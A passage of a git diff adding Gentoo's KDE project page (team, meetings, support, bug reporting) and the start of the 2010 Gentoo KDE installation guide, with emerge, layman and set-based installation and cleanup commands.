+The goal of the Gentoo KDE team is to provide working support for all packages
+supported by the KDE Project. We also support as many underlying packages as
+necessary in order to have a properly working KDE environment.
+However, some KDE applications might belong to other teams due to the fact
+that the KDE project cannot maintain all of them properly, as there are too
+many applications and many of them are not used by the KDE maintainers.
+Nevertheless, the project does support the teams that do manage these
+applications, and will ensure that they use the KDE eclasses appropriately.
+</p>
+
+</longdescription>
+
+<dev role="lead">scarabeus</dev>
+<dev role="member">abcd</dev>
+<dev role="member">alexxy</dev>
+<dev role="member">carlo</dev>
+<dev role="member">cryos</dev>
+<dev role="member">dagger</dev>
+<dev role="member">deathwing00</dev>
+<dev role="member">jmbsvicetto</dev>
+<dev role="member">keytoaster</dev>
+<dev role="member">mrpouet</dev>
+<dev role="member">patrick</dev>
+<dev role="member">reavertm</dev>
+<dev role="member">spatz</dev>
+<dev role="member" description="Herd Testers Lead">tampakrap</dev>
+<dev role="member">tgurr</dev>
+
+<extraproject name="KDE Herd Testers" link="at/" lead="tampakrap">
+The KDE HT Project is devoted to help the developers with testing packages,
+identifying issues and finding fixes.
+</extraproject>
+
+<herd name="kde"/>
+
+<extrachapter position="goals">
+<title>Available KDE versions</title>
+<section>
+<title>KDE 4</title>
+<body>
+
+<p>
+The latest major version of KDE in the official Portage tree is <b>4.3</b>.
+The KDE 4 series is only available via split ebuilds.
+New sub-minor releases (e.g. 4.3.1) are released every month. Unless there are
+any setbacks, they are stabilised within a month after their addition to the
+Portage tree.
+</p>
+
+<p>
+Also, the KDE team maintains an overlay called <uri
+link="http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=summary">kde</uri>
+in layman. It contains additional applications, as well as snapshot and live
+ebuilds for KDE 4. Things in there are considered not stable enough for the
+tree, but are used for testing. If you are a bold and daring Gentoo user, you
+can help us with testing these ebuilds.
+</p>
+
+</body>
+</section>
+<section>
+<title>KDE 3.5</title>
+<body>
+
+<p>
+The maintainance of KDE 3 now takes place in the <uri
+link="http://git.overlays.gentoo.org/gitweb/?p=proj/kde-sunset.git;a=summary">kde-sunset</uri>
+overlay (available in layman). All KDE 3 core and miscellaneous packages have
+been moved there. Keep in mind that this overlay is user-maintained only, and
+current KDE team members have no responsibility about its status. If you are
+interested in co-maintaining it, you can send an email to <mail link="tampakrap"
+/> asking for commit access. If you want to report a bug about this overlay,
+please don't file a bug in Gentoo's Bugzilla. Instead, use the <uri
+link="http://archives.gentoo.org/gentoo-desktop/">gentoo-desktop</uri> mailing
+list.  Instructions on how to subscribe can be found <uri
+link="http://www.gentoo.org/main/en/lists.xml">here</uri>.
+</p>
+
+<p>
+Please see the <uri link="http://www.gentoo.org/proj/en/overlays/userguide.xml">
+Gentoo Overlays Users's Guide</uri> to get all information on how to use
+overlays.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="goals">
+<title>Meeting logs and summaries</title>
+<section>
+<body>
+
+<p>
+The KDE team holds regular meetings in <uri
+link="irc://irc.freenode.net/gentoo-meetings">#gentoo-meetings</uri> on the third
+Thursday of every month at 19:00 UTC. Whenever there is a
+meeting, it will be announced together with the agenda in the topic of <uri
+link="irc://irc.freenode.net/gentoo-kde">#gentoo-kde</uri>. Summaries of each
+meeting will be available here, along with raw logs for public viewing.
+</p>
+
+<table>
+<tr>
+  <th>Date</th>
+  <th>Participants</th>
+  <th>Log</th>
+  <th>Summary</th>
+</tr>
+<tr>
+  <ti>June 4, 2010</ti>
+  <ti>ABCD, alexxy, dilfridge, wired, scarabeus, deathwing00, patrick, jmbsvicetto</ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-log-20100604.txt">20100604</uri></ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-summary-20100604.txt">20100604</uri></ti>
+</tr>
+<tr>
+  <ti>March 18, 2010</ti>
+  <ti>alexxy, jmbsvicetto, patrick, scarabeus, spatz, tampakrap, wired</ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-log-20100318.txt">20100318</uri></ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-summary-20100318.txt">20100318</uri></ti>
+</tr>
+<tr>
+  <ti>February 25, 2010</ti>
+  <ti>abcd, alexxy, jmbsvicetto, patrick, reavertm, scarabeus, spatz, ssuominen, tampakrap, wired</ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-log-20100225.txt">20100225</uri></ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-summary-20100225.txt">20100225</uri></ti>
+</tr>
+<tr>
+  <ti>November 19, 2009</ti>
+  <ti>abcd, ayoy, dagger, ingmar, jmbsvicetto, mrpouet, patrick, pesa, scarabeus, spatz, sput, tampakrap, wired, yngwin</ti>
+  <ti><uri link="meeting-logs/kde-qt-projects-meeting-log-20091119.txt">20091119</uri></ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>September 24, 2009</ti>
+  <ti>abcd, alexxy, ayoy, dagger, jmbsvicetto, patrick, pesa, reavertm, tampakrap, wired</ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-log-20090924.txt">20090924</uri></ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>September 17, 2009</ti>
+  <ti>abcd, alexxy, ayoy, jmbsvicetto, patrick, pesa, reavertm, spatz, tampakrap, wired</ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-log-20090917.txt">20090917</uri></ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>August 20, 2009</ti>
+  <ti>abcd, ayoy, bonsaikitten, dagger, jmbsvicetto, reavertm, scarabeus, wired, yngwin</ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-log-20090820.txt">20090820</uri></ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-summary-20090820.txt">20090820</uri></ti>
+</tr>
+<tr>
+  <ti>June 18, 2009</ti>
+  <ti>alexxy, bonsaikitten, hworang, jmbsvicetto, Pessa, reavertm, scarabeus, spatz, tampakrap, wired, yngwin</ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-log-20090618.txt">20090618</uri></ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-summary-20090618.txt">20090618</uri></ti>
+</tr>
+<tr>
+  <ti>May 21, 2009</ti>
+  <ti>alexxy, bonsaikitten, civil, cryos, dagger, hwoarang, jmbsvicetto, krytzz, lxnay, papillon81, reavertm, scarabeus, tampakrap, wired, yngwin</ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-log-20090521.txt">20090521</uri></ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-summary-20090521.txt">20090521</uri></ti>
+</tr>
+<tr>
+  <ti>April 1, 2009</ti>
+  <ti>alexxy, bonsaikitten, cryos, hwoarang, jmbsvicetto, krytzz, reavertm, scarabeus, tampakrap, wired, yngwin</ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-log-20090401.txt">20090401</uri></ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-summary-20090401.txt">20090401</uri></ti>
+</tr>
+<tr>
+  <ti>March 5, 2009</ti>
+  <ti>alexxy, bonsaikitten, cryos, hwoarang, jmbsvicetto, reavertm, scarabeus, tampakrap, wired, yngwin</ti>
+  <ti><uri link="meeting-logs/kde-herd-meeting-log-20090305.txt">20090305</uri></ti>
+  <ti><uri link="meeting-logs/kde-herd-meeting-summary-20090305.txt">20090305</uri></ti>
+</tr>
+<tr>
+  <ti>February 12, 2009</ti>
+  <ti>alexxy, hwoarang, jmbsvicetto, krytzz, reavertm, scarabeus, Sput, tampakrap, wired, yngwin</ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-log-20090212.txt">20090212</uri></ti>
+  <ti><uri link="meeting-logs/kde-project-meeting-summary-20090212.txt">20090212</uri></ti>
+</tr>
+<tr>
+  <ti>January 08, 2009</ti>
+  <ti>cryos, jmbsvicetto (at the end), patrick, scarabeus, yngwin, most of the HTs</ti>
+  <ti><uri link="meeting-logs/kde-herd-meeting-log-20090108.txt">20090108</uri></ti>
+  <ti><uri link="meeting-logs/kde-herd-meeting-summary-20090108.txt">20090108</uri></ti>
+</tr>
+<tr>
+  <ti>December 04, 2008</ti>
+  <ti>cryos, jmbsvicetto, keytoaster, patrick, scarabeus, yngwin, most of the HTs</ti>
+  <ti><uri link="meeting-logs/kde-herd-meeting-log-20081204.txt">20081204</uri></ti>
+  <ti><uri link="meeting-logs/kde-herd-meeting-summary-20081204.txt">20081204</uri></ti>
+</tr>
+<tr>
+  <ti>March 06, 2008</ti>
+  <ti>caleb, cryos, deathwing00, genstef, ingmar, jmbsvicetto, keytoaster, philantrop, tgurr, zlin</ti>
+  <ti><uri link="meeting-logs/kde-herd-meeting-log-20080306.txt">20080306</uri></ti>
+  <ti><uri link="meeting-logs/kde-herd-meeting-summary-20080306.txt">20080306</uri></ti>
+</tr>
+<tr>
+  <ti>October 13, 2007</ti>
+  <ti>cryos, genstef, jmbsvicetto, keytoaster, philantrop, tgurr</ti>
+  <ti><uri link="meeting-logs/kde-herd-meeting-log-20071013.txt">20071013</uri></ti>
+  <ti><uri link="meeting-logs/kde-herd-meeting-summary-20071013.txt">20071013</uri></ti>
+</tr>
+</table>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="goals">
+<title>Support and assistance</title>
+<section>
+<body>
+
+<p>
+There are several ways to get support with KDE related issues:
+</p>
+
+<ul>
+  <li>
+    To install KDE on Gentoo, use the <uri link="kde4-guide.xml">Gentoo KDE
+    Guide</uri>. This guide covers the installation of KDE 4 and the various KDE
+    4 applications, plus some FAQ, hints, and troubleshooting sections.
+  </li>
+  <li>
+    You can join <uri link="irc://irc.freenode.net/gentoo-kde">#gentoo-kde</uri>
+    on the Freenode IRC network. You'll find some of the team members there most
+    of the time.
+  </li>
+  <li>
+    You can address your concerns in the Gentoo Forums. Not all of us are avid
+    forums users but many experienced users and some developers are likely to be
+    able to help you.
+  </li>
+  <li>
+    The KDE team uses the <uri
+    link="http://archives.gentoo.org/gentoo-desktop/">gentoo-desktop</uri>
+    mailing list very often, to discuss about problems, announce various things
+    (like meetings or important changes) or even get in touch with users and
+    solve problems. Instructions on how to subscribe can be found <uri
+    link="/main/en/lists.xml">here</uri>.
+  </li>
+  <li>
+    Of course, you can also file a bug report. Please read the chapter
+    <uri link="#doc_chap6">How to report bugs</uri> before.
+  </li>
+</ul>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="goals">
+<title>How *you* can help</title>
+<section>
+<body>
+
+<p>
+The main thing that needs doing is trawling through the current open bugs and
+finding those that are stale, or those that have an equivalent on <uri
+link="https://bugs.kde.org">KDE's Bugzilla</uri>.
+</p>
+
+<p>
+You'll find a current list of open bugs here:
+</p>
+
+<ul>
+  <li><uri link="http://tinyurl.com/3bpdlv">KDE Bugs</uri></li>
+  <li><uri link="http://tinyurl.com/ll7wdv">Major KDE Bugs</uri></li>
+  <li><uri link="http://tinyurl.com/nvgjqa">Minor KDE Bugs</uri></li>
+</ul>
+
+<p>
+For those that are stale, you should ask on the bug if the problem remains
+in the latest version. If someone has already done this and the reporter (or
+someone else experiencing the same problem) has not replied it should be marked
+NEEDINFO.
+</p>
+
+<p>
+Speaking of bugs - now you can become a Herd Tester, too! You'll find all the
+necessary information about what a Herd Tester is and does on the <uri
+link="at/">KDE Herd Testers Project Page</uri>.
+</p>
+
+<ul>
+  <li>
+    Currently trusted users: <uri
+    link="http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=blob;f=Documentation/HACKERS">HACKERS</uri>
+  </li>
+  <li>
+    Current team plans: <uri
+    link="http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=blob;f=Documentation/TODO">TODO</uri>
+  </li>
+  <li>
+    Hints for packagers (also for other devs): <uri
+    link="http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=blob;f=Documentation/CODE">CODE</uri>
+  </li>
+</ul>
+
+<note>
+To become an HT, please read the <uri link="at/">document</uri> and contact the
+current KDE HT lead, <mail link="scarabeus"/>.
+</note>
+
+<p>
+Finally, it would be great to chat to you on IRC, too - this is how we normally
+get to know each other. Please drop into <uri
+link="irc://irc.freenode.net/gentoo-kde">#gentoo-kde</uri> and chat with us. If
+you have any problems or questions, feel free to /query individual team members
+or ask in <uri link="irc://irc.freenode.net/gentoo-kde">#gentoo-kde</uri>, <uri
+link="irc://irc.freenode.net/gentoo-desktop">#gentoo-desktop</uri> or <uri
+link="irc://irc.freenode.net/gentoo">#gentoo</uri>.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="goals">
+<title>How to report bugs</title>
+<section>
+<body>
+
+<p>
+When you encounter a bug, it should always be reported. The best thing you can
+do is to check whether it is already reported, and if not, report to the correct
+people. When in doubt about the bug being gentoo's fault or an upstream bug, try
+to follow this procedure:
+</p>
+
+<ul>
+  <li>
+    If the bug is a runtime issue (crash or wrong package behaviour), it should
+    be reported upstream. You can report a bug to us as well if you want, so we
+    can track it and backport the patch. If you don't have kdebase-runtime-meta
+    installed, then please install it first, and if you are able to reproduce,
+    then go ahead and file the upstream bug. If you are not able to reproduce,
+    then please report the bug only to Gentoo, with all that information.
+  </li>
+  <li>
+    If the bug is a build failure, a depedency error or a general ebuild bug, it
+    should reported to Gentoo.
+  </li>
+  <li>
+    If you are still in doubt, we'd prefer you open the bug for Gentoo, so we can
+    check and advise you how to proceed.
+  </li>
+</ul>
+
+<note>
+Before reporting the bug, make sure you have searched for similar bugs and
+that you haven't found your solution in the <uri
+link="kde4-guide.xml#doc_chap4">Hints and Troubleshooting</uri> section of the guide
+</note>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/desktop/kde/kde4-guide.xml b/xml/htdocs/proj/en/desktop/kde/kde4-guide.xml
new file mode 100644
index 00000000..2aea17eb
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/kde4-guide.xml
@@ -0,0 +1,669 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/kde/kde4-guide.xml,v 1.61 2010/08/16 12:05:55 reavertm Exp $ -->
+
+<guide>
+<title>Gentoo KDE Guide</title>
+
+<author title="Author">
+  <mail link="tampakrap"/>
+</author>
+<author title="Author">
+  <mail link="scarabeus"/>
+</author>
+<author title="Author">
+  <mail link="jmbsvicetto"/>
+</author>
+<author title="Author">
+  <mail link="cryos"/>
+</author>
+<author title="Editor">
+  <mail link="keytoaster"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+This guide demonstrates how to setup KDE SC using the ebuilds in the tree. Some
+tools from the KDE team's git overlay (kde) may be used.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2</version>
+<date>2010-08-14</date>
+
+<chapter>
+<title>KDE 3</title>
+<section>
+<title>Quick Information</title>
+<body>
+
+<p>
+KDE 3 is no longer maintained by upstream, with 3.5.10 being their last release.
+Also, most KDE 3 applications aren't maintained any more, as they already have
+been or are currently being ported to KDE 4.
+</p>
+
+<p>
+In Gentoo, KDE 3 ebuilds have been removed from the Portage tree, and they have
+been moved to the user-maintained overlay called <uri
+link="http://git.overlays.gentoo.org/gitweb/?p=proj/kde-sunset.git;a=summary">kde-sunset</uri>
+(available in layman). Keep in mind that this overlay is user-maintained only,
+and current KDE team members have no responsibility for its content. If you are
+interested in co-maintaining it, you can send an email to <mail link="overlays"
+/> asking for commit access. If you want to report a bug about this overlay,
+please don't file a bug in Gentoo's Bugzilla. Instead, use the <uri
+link="http://archives.gentoo.org/gentoo-desktop/">gentoo-desktop</uri> mailing
+list. Instructions on how to subscribe can be found <uri
+link="/main/en/lists.xml">here</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>KDE SC 4</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+KDE SC 4 is the current KDE version supported by upstream. In Portage there is a
+stable version, and there might be one (or more) non-stable versions. Under
+normal conditions new versions get in stabilized after a month. The KDE SC 4
+version available through Portage is 4.4.5 (stable by both upstream and
+Gentoo).
+In addition, KDE upstream provides weekly <uri
+link="ftp://ftp.kde.org/pub/kde/unstable">snapshots</uri>, and a <uri
+link="http://websvn.kde.org">live SVN tree</uri>. The Gentoo KDE team provides
+the snapshots, trunk and latest branch live ebuilds, through the <c>kde</c>
+overlay.
+</p>
+
+<p>
+Choose what KDE SC version is most appropriate for you:
+</p>
+<table>
+  <tr>
+    <ti><uri link="#kde_portage">KDE SC from Portage (currently 4.4.5)</uri></ti>
+  </tr>
+  <tr>
+    <ti><uri link="#snapshots">KDE SC snapshots (currently 4.4.XX)</uri></ti>
+  </tr>
+  <tr>
+    <ti><uri link="#live">KDE live ebuilds (currently 4.4.9999, 4.5.9999, 9999)</uri></ti>
+  </tr>
+</table>
+
+</body>
+</section>
+<section id="kde_portage">
+<title>Installing KDE SC 4.4.5 (from Portage)</title>
+<body>
+
+<note>
+In order to minimize issues it is recommended to start with a clean environment.
+Read more in <uri link="#cleanup">Cleaning Up KDE</uri> section.
+</note>
+
+<p>
+The installation can be done either by using the meta packages or by using
+sets.
+</p>
+
+<pre caption="Installation of KDE using meta packages">
+# <i>emerge -av kde-meta:4.4</i> <comment>(contains all of KDE modules)</comment>
+# <i>emerge -av kdebase-meta:4.4 kdegames-meta:4.4</i> <comment>(installation of chosen modules only)</comment>
+</pre>
+
+<p>
+For installation using sets check the <uri link="#sets">Using Sets</uri>
+section.
+</p>
+
+<note>
+KDE SC 4.5.0, the newest KDE Software Compilation release, will not be included in the portage tree because of not addressed regresions, including:
+<uri link="https://bugs.kde.org/show_bug.cgi?id=230247">Bug in akonadi startup notification</uri>
+<uri link="https://bugs.kde.org/show_bug.cgi?id=243991">Broken compositing on NVidia/TwinView</uri>
+<uri link="https://bugs.kde.org/show_bug.cgi?id=247144">Plasma folderview bug</uri>
+<uri link="https://bugs.kde.org/show_bug.cgi?id=245491">Dolphin tooltips bug, fixed in 4.5.1</uri>
+
+There are also numerous Plasma system tray and notification area glitches and one KTar (kdelibs) regression fixed for 4.5.1. Releasing KDE SC with known bugs would only cause duplicates on bugs.kde.org.
+</note>
+
+</body>
+</section>
+<section id="snapshots">
+<title>Installing KDE 4.4.XX snapshots (from kde overlay)</title>
+<body>
+
+<p>
+Currently, KDE SC from trunk is too broken, especially the KDEPIM
+module. This is because kmail's mail storage is being ported to akonadi,
+which will take some time. Thus, we decided in February's <uri
+link="meeting-logs/kde-project-meeting-summary-20100225.txt">meeting</uri>
+not to provide any snapshots until KDEPIM is usuable again.
+</p>
+
+</body>
+</section>
+<section id="live">
+<title>Installing KDE SC live ebuilds (from kde overlay)</title>
+<body>
+
+<warn>
+KDE live ebuilds are <b>bleeding edge</b>. Use at your own risk.
+</warn>
+
+<p>
+KDE SC is Open Source, with its code being available for browsing through <uri
+link="http://websvn.kde.org">KDE Websvn</uri>, and for public checkout
+through an anonymous (anonsvn) account. Gentoo, as a source based distro,
+has the ability to provide live ebuilds that checkout the code either from
+the latest branch or from trunk. Currently, we provide 4.4.9999 ebuilds from
+4.4 branch.
+</p>
+
+<table>
+<tr>
+ <th>Ebuilds version</th>
+ <th>KDE SC ersion</th>
+</tr>
+<tr>
+ <ti>4.4.9999</ti>
+ <ti>KDE 4.4 Branch</ti>
+</tr>
+<tr>
+  <ti>4.5.9999</ti>
+  <ti>KDE 4.5 Branch</ti>
+</tr>
+<tr>
+ <ti>9999</ti>
+ <ti>KDE 4 Trunk</ti>
+</tr>
+</table>
+
+<note>
+In order to minimize issues it is recommended to start with a clean environment.
+Read more in <uri link="#cleanup">Cleaning Up KDE</uri> section.
+</note>
+
+<note>
+You'll need portage-2.2_rc*, so please add <c>sys-apps/portage</c> entry in
+your <path>/etc/portage/package.unmask</path> file.
+</note>
+
+<p>
+Live ebuilds are only available through <c>kde</c> overlay, so first
+thing is to install it:
+</p>
+
+<pre caption="Installing kde overlay">
+# <i>layman -f -a kde</i>
+<comment>For more information regarding overlays, please read the <uri
+link="http://www.gentoo.org/proj/en/overlays/userguide.xml">Overlay Guide</uri></comment>
+</pre>
+
+<p>
+Users with stable systems have to keyword the packages to proceed.  We provide a
+package.keyword file in <c>kde</c> overlay, which we'll have to symlink
+to our package.keywords directory:
+</p>
+
+<pre caption="Creating symlink of the kde-4.X.9999.keywords or kde-live file">
+# <i>cd /etc/portage/package.keywords</i>
+# <i>ln -s /path/to/overlay/kde/Documentation/package.keywords/kde-4.4.9999.keywords .</i><comment>(for 4.4 Branch)</comment>
+# <i>ln -s /path/to/overlay/kde/Documentation/package.keywords/kde-4.5.9999.keywords .</i><comment>(for 4.5 Branch)</comment>
+# <i>ln -s /path/to/overlay/kde/Documentation/package.keywords/kde-live.keywords .</i><comment>(for KDE Trunk)</comment>
+</pre>
+
+<p>
+The installation can be done either by using the meta packages or by using
+sets.
+</p>
+
+<pre caption="Installation of KDE live ebuilds using meta packages">
+<comment>(For KDE SC 4.4 Branch)</comment>
+# <i>emerge -av kde-meta:4.4</i> <comment>(contains all of KDE modules)</comment>
+# <i>emerge -av kdebase-meta:4.4 kdegames-meta:4.4</i> <comment>(installation of chosen modules only)</comment>
+<comment>(For KDE SC 4.5 Branch)</comment>
+# <i>emerge -av kde-meta:4.5</i> <comment>(contains all of KDE modules)</comment>
+# <i>emerge -av kdebase-meta:4.5 kdegames-meta:4.5</i> <comment>(installation of chosen modules only)</comment>
+<comment>(For KDE SC Trunk)</comment>
+# <i>emerge -av kde-meta:live</i> <comment>(contains all of KDE modules)</comment>
+# <i>emerge -av kdebase-meta:live kdegames-meta:live</i> <comment>(installation of chosen modules only)</comment>
+</pre>
+
+<pre caption="Installation of KDE live ebuilds using sets">
+<comment>(For KDE SC 4.4 Branch)</comment>
+# <i>emerge -av @kde-4.4</i> <comment>(contains all of KDE modules)</comment>
+# <i>emerge -av @kdebase-4.4 @kdegames-4.4</i> <comment>(installation of chosen modules only)</comment>
+<comment>(For KDE SC 4.5 Branch)</comment>
+# <i>emerge -av @kde-4.5</i> <comment>(contains all of KDE modules)</comment>
+# <i>emerge -av @kdebase-4.5 @kdegames-4.5</i> <comment>(installation of chosen modules only)</comment>
+<comment>(For KDE SC Trunk)</comment>
+# <i>emerge -av @kde-live</i> <comment>(contains all of KDE modules)</comment>
+# <i>emerge -av @kdebase-live @kdegames-live</i> <comment>(installation of chosen modules only)</comment>
+<comment>See the <uri link="#sets">Using Sets</uri> section for more information.</comment>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Installation of KDE 4 Applications</title>
+<body>
+
+<p>
+In kde you may find live ebuilds of KDE 4 applications. These are
+slotted in :4, but they <b>can not</b> be installed in parallel with
+normal ones. You are free though to use live KDE 4 applications with KDE 4 from
+Portage, or to use Portage KDE 4 applications with your live KDE.
+</p>
+
+<note>
+There is also a set with live KDE 4 applications, @kde-extras-live and a
+set with live KOffice @koffice-live, in kde overlay, and a set with Qt
+live applications, @qt-extras-live, in qting-edge overlay.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Additional Installation/Removal Information</title>
+<section id="sets">
+<title>Using Sets</title>
+<body>
+
+<warn>
+Portage 2.2_rcX is currently masked. So if you want to use sets please unmask
+it by adding <c>sys-apps/portage</c> in your <c>/etc/portage.package.unmask</c>
+file.
+</warn>
+
+<p>
+One of the new features provided by Portage 2.2 is sets.
+</p>
+
+<p>
+Sets allow the KDE team to provide a complete replacement for the monolithic
+packages, with the added bonus that users may choose to remove from the default
+sets any packages they do not want. There is still some discussion going on
+before we can put sets in the Portage tree. Thus, grab the sets from the
+<c>kde</c> overlay <uri
+link="http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=tree;f=sets">sets
+directory</uri> or grab them as a <uri
+link="http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=snapshot;h=5b2fc54fa5d1c8aeddaeb05f044bf28754bb18be;sf=tbz2">
+tar.bz2 archive</uri> and put the ones you like in <path>/etc/portage/sets</path> --
+you can browse the list of sets provided by the KDE team in the overlay
+by using the first link.
+</p>
+
+<note>
+If you are using the kde overlay you can use sets directly
+instead of copying them to <path>/etc/portage/sets</path>.
+</note>
+
+<p>
+Amongst others, there are sets for each KDE tarball - @kdeaccessibility,
+@kdeadmin, @kdeartwork, @kdebase, @kdeedu, @kdegames, @kdegraphics,
+@kdemultimedia, @kdenetwork, @kdepim, @kdesdk, @kdetoys, and @kdeutils. There is
+also a set of sets (the equivalent to the old kde-meta package) @kde, and the
+same for specific versions @kde-3.5 and @kde-4x, a set for KDE deps @kdedeps, a
+set for optional packages @kdeoptional and a set for the split qt packages
+@qt-split.
+</p>
+
+<p>
+One can install the complete KDE by running <c>emerge -av @kde</c>. The specific
+version equivalents are very useful to uninstall an old version, e.g. <c>emerge
+-C @kde-3.5</c>, or to reinstall all packages from a specific version, e.g.
+<c>emerge -av1 @kde-4x</c>. Advanced features, like removing any unwanted
+packages from a set, will be supported in a future release of Portage -- you can
+read more about it in <uri
+link="http://planet.gentoo.org/developers/genone/2008/09/29/more_extensions_to_package_set_support">Marius
+Mauch's (genone) blog</uri>. Part of this code has now been released in
+portage-2.2_rc12, so you can reinstall all installed packages of a set
+with <c>emerge -av @&lt;set&gt;/@installed</c> or to have a
+<path>/etc/portage/sets/kdebase-unwanted</path> set and then run <c>emerge -av
+@kdebase-@kdebase-unwanted</c>.
+</p>
+
+<p>
+We strongly recommend that you install the <c>kdebase</c> set in order to get a
+full KDE 4 session. The example below would install the <c>kdebase</c> set and
+the <c>kdegames</c> set.
+</p>
+
+<pre caption="Installing KDE SC">
+# <i>emerge @kdebase @kdegames</i>
+</pre>
+
+<note>
+If you want to check the list of sets known to Portage run the following:
+<c>emerge --list-sets</c>
+</note>
+
+<note>
+All >= KDE 4.1 ebuilds require <c>sys-apps/portage-2.1.6</c> or greater,
+which has implemented everything in the new EAPI 2 specification used in
+these ebuilds (<c>>=sys-apps/portage-2.2_rc12</c> is required to use sets).
+</note>
+
+</body>
+</section>
+<section id="cleanup">
+<title>Cleaning Up KDE</title>
+<body>
+
+<p>
+In order to minimize issues, it is best to begin with a clean environment. This
+is recommended for the following cases:
+</p>
+
+<ul>
+ <li>Moving from <c>+kdeprefix</c> to <c>-kdeprefix</c> (and vice versa)</li>
+ <li>
+   Downgrading KDE (eg. from snapshots/live ebuilds to the Portage version)
+ </li>
+ <li>Fully upgrading from KDE 3 to KDE 4 (and vice versa)</li>
+ <li>Moving from an old overlay</li>
+</ul>
+
+<p>
+Two possible ways of removing old KDE installations are:
+</p>
+
+<pre caption="Unmerging commands">
+# <i>emerge -C @kde-4.X @kdebase-4.X @kde-3.5</i>(using the typical sets)
+# <i>emerge -C $(qfile -C -q -e /usr/kde/%PREFIX%)</i> <comment>(replace %PREFIX% with your KDE version, eg. 3.5, 4)</comment>
+</pre>
+
+<pre caption="Unmerging commands (only applicable if you are moving from an overlay)">
+# <i>cd /path/to/overlay/</i>
+# <i>emerge -C $(find ./ -name \*.ebuild |sed -e "s:\.ebuild$::" -e "s:./::" |awk -F'/' '{print "="$1"/"$3}')</i>
+</pre>
+
+<p>
+As a final step you should remove the old overlay so that there are no conflicts
+with the KDE ebuilds. You should remove the old unmask and/or keyword data, too.
+</p>
+
+<note>
+Don't forget to run <c>emerge --depclean</c> in order to uninstall any dependant
+packages.
+</note>
+
+</body>
+</section>
+<section>
+<title>Rebuilding the application database</title>
+<body>
+
+<p>
+To rebuild the KDE application database run:
+</p>
+
+<pre caption="kbuildsycoca command">
+# <i>kbuildsycoca4 --noincremental</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Localization/Internationalization</title>
+<body>
+
+<p>
+With new KDE there is new translators effort in Localization instead of
+Internationalization. This cause some confusion, but don't worry; just the name
+has been changed.
+</p>
+
+<pre caption="Getting the translations">
+<comment>For KDE 4 and KOffice 2:</comment>
+# <i>emerge kde-l10n</i>
+# <i>emerge koffice-l10n</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Migrating configs from 3.5 to 4.X</title>
+<body>
+
+<p>
+KDE stores its configuration files in the <path>~/.kde</path> directory by
+default. In the Gentoo ebuilds this has been changed in KDE 4.X to
+allow for better integration of KDE 3.5 and 4.X when using the same user
+account. If you export $KDEHOME this behaviour will be overridden. It is
+strongly recommended that you do not do this. $KDEHOME will make KDE 3.5 and 4.X
+use the same configuration directory which is usually not desired.
+</p>
+
+<p>
+KDE 3.5 uses <path>~/.kde</path> and the default FHS (<c>-kdeprefix</c>) KDE 4.X
+uses <e>~/.kde4</e>.
+</p>
+
+<p>
+Settings are not migrated by default. If you want to attempt to migrate your
+settings you should copy your old configuration directory to the new location
+before logging in. For example:
+</p>
+
+<pre caption="Copying the configuration directory">
+$ <i>cp -r ~/.kde ~/.kde4</i>
+</pre>
+
+<p>
+If this is successful, then your settings should all be migrated. If not, it is
+possible to log out and remove the new configuration directory to start with a
+clean configuration directory.
+</p>
+
+<impo>
+Moving backwards in version, from 4.X to 3.5, is not supported.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Hints and Troubleshooting</title>
+<section>
+<title>Plasmoids</title>
+<body>
+
+<p>
+Plasmoids are new plasma tools which can enhance your desktop experience. Many
+plasmoids are available in the kde-misc/ category. If you find out that your
+favorite plasmoid is missing, file a bug and somebody might create it for you.
+If you've got to have them all, there is a set called @plasmoids which contains
+all plasmoids currently available.
+</p>
+
+<note>
+Many plasmoids are in the kde overlay.
+</note>
+
+</body>
+</section>
+<section>
+<title>Plasma Themes</title>
+<body>
+
+<p>
+The ebuild that contains various plasma themes is called
+<c>x11-themes/plasma-themes</c>. The procedure for requesting
+additional themes is the same as that for plasmoids.
+</p>
+
